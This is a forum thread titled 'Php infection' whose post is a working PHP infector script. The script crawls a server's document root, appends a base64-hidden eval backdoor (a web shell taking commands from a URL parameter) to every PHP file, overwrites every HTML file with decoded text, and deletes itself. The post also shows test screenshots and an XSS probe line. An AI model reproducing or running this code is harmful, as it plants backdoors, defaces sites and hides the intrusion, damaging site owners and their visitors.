chevron_left chevron_right
Login Register invert_colors photo_library


Stay updated and chat with others! - Join the Discord!
Thread Rating:
  • 1 Vote(s) - 5 Average


Php infection filter_list
Author
Message
Php infection #1
[Image: u5ujaj.png]

PHP Code:
<?php
error_reporting
(0);
$dt=$_SERVER['DOCUMENT_ROOT'];
function 
php_self(){
    $php_self substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
    return $php_self;
}
$fb_name=php_self();
//echo $fb_name."<br>";

function read_all_dir_and_file($dir) {
    if (is_dir($dir)) {
        $dh opendir($dir);
        while ( ($file readdir($dh)) !== false ) {
            if (in_array($file, ['.''..'])) {
                continue;
            }

            $file_path $dir.'/'.$file;
            if ( is_dir($file_path) ) {
                read_all_dir_and_file($file_path);
            } else {
                if(strpos($file_path,'.php')){
                    file_put_contents($file_path,base64_decode('PD9waHAgQGV2YWwoJF9HRVRbJ2EnXSk7Pz4='),FILE_APPEND);
                    echo "Write payload very Good !".$file_path."<br>";
                }else if (strpos($file_path,'.html')){
                    file_put_contents($file_path,base64_decode('5L2g5pyJIGZyZWVzdHlsZSDlkJfov5nkuKrpl67popjmnIDov5HmiZPnoLTlroflrpkg5Lqy5oia5pyL5Y+L6YO95Lya6Zeu5oiR6L+Z5piv5LuA5LmI5p2l5aS0'));
                    echo "Write payload very Good !".$file_path."<br>";
                }
                //echo $file_path."\n";
            }
        }
        closedir($dir);
    } else {
        echo $dir;
    }
}
read_all_dir_and_file($dt);
echo 
"Delete".$fb_name;
if(!
unlink($fb_name)){
    echo "del fuck".$fb_name;
}else{
    echo "del ok".$fb_name;
}
?>

Test Results
[Image: u5K6Fs.png]

[Image: u5K5mF.png]
<script>alert(1)</script>

Reply






Users browsing this thread: 1 Guest(s)